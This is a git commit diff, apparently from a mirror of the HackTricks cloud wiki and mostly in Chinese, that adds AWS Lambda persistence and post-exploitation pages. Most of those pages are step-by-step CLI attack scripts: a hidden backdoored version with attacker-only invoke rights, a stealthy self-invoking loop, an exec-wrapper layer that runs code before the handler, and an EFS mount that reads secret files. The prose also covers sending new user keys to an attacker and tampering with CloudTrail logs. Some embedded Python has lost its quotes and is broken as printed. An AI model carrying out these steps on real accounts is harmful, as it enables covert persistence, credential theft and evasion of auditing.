mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -1,64 +1,91 @@
|
||||
# AWS - Lambda 持久性
|
||||
# AWS - Lambda Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda 层持久性
|
||||
### Lambda Layer Persistence
|
||||
|
||||
可以**引入/后门一个层以在 lambda 执行时执行任意代码**,以隐蔽的方式:
|
||||
可以在 Lambda 执行时以隐蔽方式 **引入/backdoor 一个 layer 来执行任意代码**:
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-layers-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### Lambda 扩展持久性
|
||||
### Lambda Extension Persistence
|
||||
|
||||
滥用 Lambda 层也可以滥用扩展并在 lambda 中持久化,同时窃取和修改请求。
|
||||
滥用 Lambda Layers 还可以滥用 extensions,实现 Lambda 内的持久化,并窃取或修改请求。
|
||||
|
||||
{{#ref}}
|
||||
aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### 通过资源策略
|
||||
### Via resource policies
|
||||
|
||||
可以授予外部账户对不同 lambda 操作(如调用或更新代码)的访问权限:
|
||||
可以将对不同 Lambda 操作(例如 invoke 或 update code)的访问权限授予外部账号:
|
||||
|
||||
<figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 版本、别名和权重
|
||||
### 版本、别名与权重
|
||||
|
||||
一个 Lambda 可以有**不同的版本**(每个版本有不同的代码)。\
|
||||
然后,您可以创建**不同版本的不同别名**并为每个别名设置不同的权重。\
|
||||
这样,攻击者可以创建一个**后门版本 1**和一个**仅包含合法代码的版本 2**,并**仅在 1% 的请求中执行版本 1**以保持隐蔽。
|
||||
A Lambda can have **different versions** (with different code each version).\
|
||||
然后,你可以创建 **不同别名对应不同版本** 的 Lambda,并为每个别名设置不同的权重。\
|
||||
这样攻击者可以创建一个 **backdoored version 1** 和一个 **只包含合法代码的 version 2**,并仅在 1% 的请求中执行 version 1 以保持隐蔽。
|
||||
|
||||
<figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 版本后门 + API 网关
|
||||
### Version Backdoor + API Gateway
|
||||
|
||||
1. 复制 Lambda 的原始代码
|
||||
2. **创建一个新的版本,后门化**原始代码(或仅包含恶意代码)。发布并**将该版本**部署到 $LATEST
|
||||
1. 调用与 lambda 相关的 API 网关以执行代码
|
||||
3. **创建一个包含原始代码的新版本**,发布并将该**版本**部署到 $LATEST。
|
||||
1. 这将隐藏之前版本中的后门代码
|
||||
4. 转到 API 网关并**创建一个新的 POST 方法**(或选择任何其他方法),该方法将执行 lambda 的后门版本:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. 注意 arn 最后的 :1 **指示函数的版本**(在此场景中,版本 1 将是后门版本)。
|
||||
5. 选择创建的 POST 方法,在操作中选择**`部署 API`**
|
||||
6. 现在,当您**通过 POST 调用函数时,您的后门**将被调用
|
||||
2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
|
||||
1. 调用与该 Lambda 关联的 API Gateway 来执行代码
|
||||
3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
|
||||
1. 这会将 backdoored 的代码隐藏在之前的版本中
|
||||
4. 转到 API Gateway 并 **create a new POST method**(或选择其他方法),用于执行该 backdoored 的 Lambda 版本:`arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
|
||||
1. 注意 arn 最后的 :1 **indicating the version of the function**(在此情形中 version 1 将是 backdoored 的版本)。
|
||||
5. 选择已创建的 POST 方法,在 Actions 中选择 **`Deploy API`**
|
||||
6. 现在,当你通过 POST 调用该函数时,**你的 Backdoor** 将被触发
|
||||
|
||||
### Cron/事件触发器
|
||||
### Cron/Event actuator
|
||||
|
||||
您可以使**lambda 函数在某些事件发生或经过一段时间后运行**,这使得 lambda 成为获得持久性和避免检测的良好且常见的方法。\
|
||||
在这里,您有一些想法可以通过创建 lambdas 来使您在 AWS 中的**存在更加隐蔽**。
|
||||
你可以让 **lambda functions 在事件发生或经过一段时间时运行**,这使得 Lambda 成为获得持久化并规避检测的常见手段。\
|
||||
以下是一些通过创建 lambdas 让你在 AWS 中更隐蔽存在的想法。
|
||||
|
||||
- 每当创建新用户时,lambda 生成一个新的用户密钥并将其发送给 attacker。
|
||||
- 每当创建新角色时,lambda 会为被攻陷的用户授予 assume role 权限。
|
||||
- 每当产生新的 cloudtrail 日志时,删除/篡改它们
|
||||
|
||||
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
|
||||
|
||||
利用环境变量 `AWS_LAMBDA_EXEC_WRAPPER` 来在 runtime/handler 启动前执行攻击者控制的 wrapper 脚本。通过 Lambda Layer 将 wrapper 放到 `/opt/bin/htwrap`,设置 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`,然后调用函数。该 wrapper 在函数运行时进程内执行,继承函数执行角色,最终 `exec` 真正的 runtime,从而使原始 handler 仍然正常执行。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-exec-wrapper-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
滥用 Lambda 的 asynchronous destinations 与 Recursion 配置,可以让函数持续自我重入而无需外部调度器(无需 EventBridge、cron 等)。默认情况下,Lambda 会终止递归循环,但将 recursion 配置设置为 Allow 会重新启用它们。Destinations 在服务端为异步调用负责投递,因此一次种子调用即可创建一个隐蔽、无需上传代码的 心跳/backdoor 通道。可选择使用 reserved concurrency 限流以降低噪声。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-async-self-loop-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
|
||||
|
||||
创建一个包含攻击者逻辑的隐藏 Lambda 版本,并使用 `lambda add-permission` 的 `--qualifier` 参数将基于资源的策略作用于该特定版本(或别名)。仅向攻击者主体授予对 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` 的 `lambda:InvokeFunction` 权限。通过函数名或主别名的正常调用不会受影响,而攻击者可以直接调用该带后门的版本 ARN。
|
||||
|
||||
这比暴露 Function URL 更隐蔽,且不会更改主流量别名。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-alias-version-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
- 每当创建新用户时,lambda 生成一个新用户密钥并将其发送给攻击者。
|
||||
- 每当创建新角色时,lambda 授予被攻陷用户假设角色的权限。
|
||||
- 每当生成新的 cloudtrail 日志时,删除/更改它们
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 概述
|
||||
|
||||
使用带有攻击者逻辑的隐藏 Lambda 版本,并在 `lambda add-permission` 中使用 `--qualifier` 参数,将基于资源的策略限定到该特定版本(或别名)。仅向攻击者主体授予对 `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` 的 `lambda:InvokeFunction` 权限。通过函数名或主别名的正常调用不受影响,而攻击者可以直接调用被植入后门的版本 ARN。
|
||||
|
||||
这比公开 Function URL 更隐蔽,并且不会更改主流量别名。
|
||||
|
||||
## 所需权限(攻击者)
|
||||
|
||||
- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
|
||||
- `lambda:AddPermission` (to add version-scoped resource policy)
|
||||
- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
|
||||
|
||||
## 攻击步骤(CLI)
|
||||
|
||||
<details>
|
||||
<summary>发布隐藏版本,添加 qualifier 范围的权限,并以攻击者身份调用</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
|
||||
# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
|
||||
|
||||
# 1) Build a small backdoor handler and publish as a new version
|
||||
cat > bdoor.py <<PY
|
||||
import json, os, boto3
|
||||
|
||||
def lambda_handler(e, c):
|
||||
ident = boto3.client(sts).get_caller_identity()
|
||||
return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
|
||||
PY
|
||||
zip bdoor.zip bdoor.py
|
||||
aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
|
||||
aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
echo "Published version: $VER ($VER_ARN)"
|
||||
|
||||
# 2) Create an attacker principal and allow only version invocation (same-account simulation)
|
||||
ATTACK_ROLE_NAME=ht-version-invoker
|
||||
aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
|
||||
cat > /tmp/invoke-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [{
|
||||
"Effect": "Allow",
|
||||
"Action": ["lambda:InvokeFunction"],
|
||||
"Resource": ["$VER_ARN"]
|
||||
}]
|
||||
}
|
||||
POL
|
||||
aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
|
||||
|
||||
# Add resource-based policy scoped to the version (Qualifier)
|
||||
aws lambda add-permission \
|
||||
--function-name "$TARGET_FN" \
|
||||
--qualifier "$VER" \
|
||||
--statement-id ht-version-backdoor \
|
||||
--action lambda:InvokeFunction \
|
||||
--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
|
||||
--region $REGION
|
||||
|
||||
# 3) Assume the attacker role and invoke only the qualified version
|
||||
ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
|
||||
CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
|
||||
export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
|
||||
export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
|
||||
export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
|
||||
aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
|
||||
cat /tmp/ver-out.json
|
||||
|
||||
# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
|
||||
aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
|
||||
```
|
||||
</details>
|
||||
|
||||
## 影响
|
||||
|
||||
- 授予一个隐蔽的后门,用于调用函数的隐藏版本,而无需修改主别名或暴露 Function URL。
|
||||
- 通过基于资源的策略 `Qualifier`,将暴露限制为仅指定的版本/别名,降低检测面同时保留对攻击者主体的可靠调用。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,92 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
滥用 Lambda 的 asynchronous destinations 与 Recursion 配置,使函数在没有外部调度器(如 EventBridge、cron 等)的情况下不断自我重新调用。默认情况下,Lambda 会终止递归循环,但将 recursion 配置设置为 Allow 可重新启用它们。Destinations 在服务端对异步调用进行投递,因此一次种子调用就能创建一个隐蔽、无需代码的心跳/后门通道。可选地使用 reserved concurrency 进行节流以降低噪音。
|
||||
|
||||
Notes
|
||||
- Lambda 不允许直接将函数配置为其自身的 destination。使用 function alias 作为 destination,并允许 execution role 调用该 alias。
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
|
||||
## 要求
|
||||
- Region: us-east-1
|
||||
- Vars:
|
||||
- REGION=us-east-1
|
||||
- TARGET_FN=<target-lambda-name>
|
||||
|
||||
## 步骤
|
||||
|
||||
1) 获取函数 ARN 及当前 recursion 设置
|
||||
```
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) 发布一个版本并创建/更新一个别名(用作指向自身的目标)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
else
|
||||
aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) 允许函数执行角色调用 alias(由 Lambda Destinations→Lambda 要求)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
cat > /tmp/invoke-self-policy.json <<EOF
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:InvokeFunction",
|
||||
"Resource": "${ALIAS_ARN}"
|
||||
}
|
||||
]
|
||||
}
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) 将异步目标配置为 alias(通过 alias 指向自身),并禁用重试
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
--destination-config OnSuccess={Destination=$ALIAS_ARN} \
|
||||
--maximum-retry-attempts 0 \
|
||||
--region $REGION
|
||||
|
||||
# Verify
|
||||
aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
|
||||
```
|
||||
5) 允许递归循环
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
|
||||
```
|
||||
6) 触发单个异步调用
|
||||
```
|
||||
aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
|
||||
```
|
||||
7) 观察持续调用(示例)
|
||||
```
|
||||
# Recent logs (if the function logs each run)
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) 可选的隐蔽节流
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## Cleanup
|
||||
中断循环并移除 persistence.
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
|
||||
# Optional: delete alias and remove the inline policy when finished
|
||||
aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## Impact
|
||||
- 一次单独的 async invoke 会导致 Lambda 不依赖外部调度器不断自我重新调用,从而实现隐蔽的持久化/心跳。Reserved concurrency 可以将噪声限制到单个 warm execution。
|
||||
@@ -0,0 +1,94 @@
|
||||
# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 摘要
|
||||
|
||||
滥用环境变量 `AWS_LAMBDA_EXEC_WRAPPER` 在 runtime/handler 启动之前执行攻击者控制的包装器脚本。通过在 Lambda Layer 中将包装器放置于 `/opt/bin/htwrap`,设置 `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`,然后调用函数来投递该包装器。该包装器在函数运行时进程内运行,继承函数执行角色,最后使用 `exec` 启动真实的 runtime,从而使原始 handler 仍可正常执行。
|
||||
|
||||
> [!WARNING]
|
||||
> 该技术可在目标 Lambda 中获得代码执行,且无需修改其源代码或角色,也不需要 `iam:PassRole`。你仅需能够更新函数配置并发布/附加一个 Layer。
|
||||
|
||||
## 所需权限(攻击者)
|
||||
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:InvokeFunction`(或通过现有事件触发)
|
||||
- `lambda:ListFunctions`, `lambda:ListLayers`
|
||||
- `lambda:PublishLayerVersion`(同一账户),并可选 `lambda:AddLayerVersionPermission`(如果使用跨账户/公共 Layer)
|
||||
|
||||
## 包装器脚本
|
||||
|
||||
将包装器放在 Layer 的 `/opt/bin/htwrap`。它可以运行 pre-handler 的逻辑,并且必须以 `exec "$@"` 结尾以链入真实的 runtime。
|
||||
```bash
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
# Pre-handler actions (runs in runtime process context)
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json, os
|
||||
try:
|
||||
ident = boto3.client('sts').get_caller_identity()
|
||||
print('[ht] sts identity:', json.dumps(ident))
|
||||
except Exception as e:
|
||||
print('[ht] sts error:', e)
|
||||
PY
|
||||
# Chain to the real runtime
|
||||
exec "$@"
|
||||
```
|
||||
## 攻击步骤 (CLI)
|
||||
|
||||
<details>
|
||||
<summary>发布 layer、附加到目标函数、设置 wrapper、调用</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
|
||||
# 1) Package wrapper at /opt/bin/htwrap
|
||||
mkdir -p layer/bin
|
||||
cat > layer/bin/htwrap <<'WRAP'
|
||||
#!/bin/bash
|
||||
set -euo pipefail
|
||||
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
|
||||
python3 - <<'PY'
|
||||
import boto3, json
|
||||
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
|
||||
PY
|
||||
exec "$@"
|
||||
WRAP
|
||||
chmod +x layer/bin/htwrap
|
||||
(zip -qr htwrap-layer.zip layer)
|
||||
|
||||
# 2) Publish the layer
|
||||
LAYER_ARN=$(aws lambda publish-layer-version \
|
||||
--layer-name ht-exec-wrapper \
|
||||
--zip-file fileb://htwrap-layer.zip \
|
||||
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
|
||||
--query LayerVersionArn --output text --region "$REGION")
|
||||
|
||||
echo "$LAYER_ARN"
|
||||
|
||||
# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
|
||||
aws lambda update-function-configuration \
|
||||
--function-name "$TARGET_FN" \
|
||||
--layers "$LAYER_ARN" \
|
||||
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
|
||||
--region "$REGION"
|
||||
|
||||
# Wait for update to finish
|
||||
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
|
||||
|
||||
# 4) Invoke and verify via CloudWatch Logs
|
||||
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
|
||||
```
|
||||
</details>
|
||||
|
||||
## 影响
|
||||
|
||||
- 在 Lambda runtime 上下文中,使用函数现有的 execution role 在 handler 运行之前执行代码。
|
||||
- 无需更改函数代码或 role;适用于常见的 managed runtimes(Python、Node.js、Java、.NET)。
|
||||
- 可实现 persistence、credential access(例如 STS)、data exfiltration 以及在 handler 运行前的 runtime tampering。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,35 +1,85 @@
|
||||
# AWS - Lambda 后期利用
|
||||
# AWS - Lambda Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lambda
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-lambda-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 提取 Lambda 凭证
|
||||
### Exfilrtate Lambda Credentials
|
||||
|
||||
Lambda 使用环境变量在运行时注入凭证。如果您可以访问它们(通过读取 `/proc/self/environ` 或使用易受攻击的函数本身),您可以自己使用它们。它们位于默认变量名称 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY` 和 `AWS_ACCESS_KEY_ID` 中。
|
||||
Lambda 在运行时通过环境变量注入凭证。如果你能访问这些变量(例如读取 `/proc/self/environ` 或使用存在漏洞的函数本身),就可以直接使用这些凭证。它们存放在默认变量名 `AWS_SESSION_TOKEN`、`AWS_SECRET_ACCESS_KEY` 和 `AWS_ACCESS_KEY_ID` 中。
|
||||
|
||||
默认情况下,这些将有权写入 CloudWatch 日志组(其名称存储在 `AWS_LAMBDA_LOG_GROUP_NAME` 中),以及创建任意日志组,然而,Lambda 函数通常根据其预期用途分配更多权限。
|
||||
默认情况下,这些凭证通常有权限写入一个 cloudwatch log group(其名称保存在 `AWS_LAMBDA_LOG_GROUP_NAME` 中),并可创建任意 log group,但实际 lambda 函数常根据用途被分配更多权限。
|
||||
|
||||
### 偷取其他 Lambda URL 请求
|
||||
### Steal Others Lambda URL Requests
|
||||
|
||||
如果攻击者以某种方式在 Lambda 内部获得 RCE,他将能够窃取其他用户对 Lambda 的 HTTP 请求。如果请求包含敏感信息(cookies、凭证等),他将能够窃取它们。
|
||||
如果攻击者设法在 Lambda 中获得 RCE,他可以窃取其他用户发向该 Lambda 的 HTTP 请求。如果这些请求包含敏感信息(cookies、凭证等),攻击者就能获取这些信息。
|
||||
|
||||
{{#ref}}
|
||||
aws-warm-lambda-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
### 偷取其他 Lambda URL 请求和扩展请求
|
||||
### Steal Others Lambda URL Requests & Extensions Requests
|
||||
|
||||
滥用 Lambda Layers 也可以滥用扩展并在 Lambda 中持久化,同时窃取和修改请求。
|
||||
滥用 Lambda Layers 还可以利用 extensions 在 Lambda 中实现持久化,同时窃取并篡改请求。
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – VPC Egress Bypass
|
||||
|
||||
通过将配置更新为空的 VpcConfig (SubnetIds=[], SecurityGroupIds=[]) 可以将 Lambda 函数从受限 VPC 中强制移出。函数随后将在 Lambda 托管的网络平面运行,恢复外网访问,从而绕过由私有 VPC 子网(无 NAT)实施的出站流量控制。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-vpc-egress-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Runtime Pinning/Rollback Abuse
|
||||
|
||||
滥用 `lambda:PutRuntimeManagementConfig` 将函数固定到特定 runtime 版本 (Manual) 或冻结更新 (FunctionUpdate)。这可保持对恶意 layers/wrappers 的兼容性,并使函数停留在过时且易受攻击的 runtime 上,从而帮助利用和长期持久化。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-runtime-pinning-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 的高级日志控制,可将函数的日志重定向到攻击者指定的 CloudWatch Logs log group。此操作无需修改代码或执行角色(大多数 Lambda 角色通过 `AWSLambdaBasicExecutionRole` 已包含 `logs:CreateLogGroup/CreateLogStream/PutLogEvents`)。如果函数打印了 secrets/请求体或崩溃并输出堆栈跟踪,可从新的 log group 收集这些信息。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-loggingconfig-redirection.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS - Lambda Function URL Public Exposure
|
||||
|
||||
将私有 Lambda Function URL 变为公共的无身份验证端点:将 Function URL AuthType 切换为 NONE,并附加一个授予 lambda:InvokeFunctionUrl 给所有人的基于资源的策略。这样可以匿名调用内部函数,可能暴露敏感的后端操作。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-function-url-public-exposure.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – Event Source Mapping Target Hijack
|
||||
|
||||
滥用 `UpdateEventSourceMapping` 更改现有 Event Source Mapping (ESM) 的目标 Lambda 函数,使来自 DynamoDB Streams、Kinesis 或 SQS 的记录被投递到攻击者控制的函数。这样可以在不接触生产者或原函数代码的情况下,悄然转移实时数据。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-event-source-mapping-target-hijack.md
|
||||
{{#endref}}
|
||||
|
||||
### AWS Lambda – EFS Mount Injection data exfiltration
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 将现有的 EFS Access Point 挂载到 Lambda,然后部署简单代码列出/读取挂载路径的文件,从而 exfiltrate 函数之前无法访问的共享 secrets/配置。
|
||||
|
||||
{{#ref}}
|
||||
aws-lambda-efs-mount-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,74 @@
|
||||
# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (数据窃取)
|
||||
|
||||
滥用 `lambda:UpdateFunctionConfiguration` 将现有 EFS Access Point 附加到 Lambda,然后部署简单代码,列出/读取挂载路径中的文件,以 exfiltrate 函数之前无法访问的共享 secrets/config。
|
||||
|
||||
## 要求
|
||||
- 受害者账户/主体的权限:
|
||||
- `lambda:GetFunctionConfiguration`
|
||||
- `lambda:ListFunctions` (用于查找 functions)
|
||||
- `lambda:UpdateFunctionConfiguration`
|
||||
- `lambda:UpdateFunctionCode`
|
||||
- `lambda:InvokeFunction`
|
||||
- `efs:DescribeMountTargets` (用于确认 mount targets 存在)
|
||||
- 环境假设:
|
||||
- 目标 Lambda 已启用 VPC,且其子网/SGs 可通过 TCP/2049 访问 EFS 挂载目标的 SG(例如,角色具有 AWSLambdaVPCAccessExecutionRole 且 VPC 路由允许)。
|
||||
- EFS Access Point 位于相同 VPC,并在 Lambda 子网所在的 AZs 中有挂载目标。
|
||||
|
||||
## 攻击
|
||||
- 变量
|
||||
```
|
||||
REGION=us-east-1
|
||||
TARGET_FN=<target-lambda-name>
|
||||
EFS_AP_ARN=<efs-access-point-arn>
|
||||
```
|
||||
1) 将 EFS Access Point 附加到 Lambda
|
||||
```
|
||||
aws lambda update-function-configuration \
|
||||
--function-name $TARGET_FN \
|
||||
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
|
||||
--region $REGION
|
||||
# wait until LastUpdateStatus == Successful
|
||||
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
|
||||
```
|
||||
2) 用一个简单的读取器覆盖代码,该读取器列出文件并查看候选 secret/config file 的前 200 bytes
|
||||
```
|
||||
cat > reader.py <<PY
|
||||
import os, json
|
||||
BASE=/mnt/ht
|
||||
|
||||
def lambda_handler(e, c):
|
||||
out={ls:[],peek:None}
|
||||
try:
|
||||
for root, dirs, files in os.walk(BASE):
|
||||
for f in files:
|
||||
p=os.path.join(root,f)
|
||||
out[ls].append(p)
|
||||
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
|
||||
if cand:
|
||||
with open(cand,rb) as fh:
|
||||
out[peek] = fh.read(200).decode(utf-8,ignore)
|
||||
except Exception as ex:
|
||||
out[err]=str(ex)
|
||||
return out
|
||||
PY
|
||||
zip reader.zip reader.py
|
||||
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
|
||||
# If the original handler was different, set it to reader.lambda_handler
|
||||
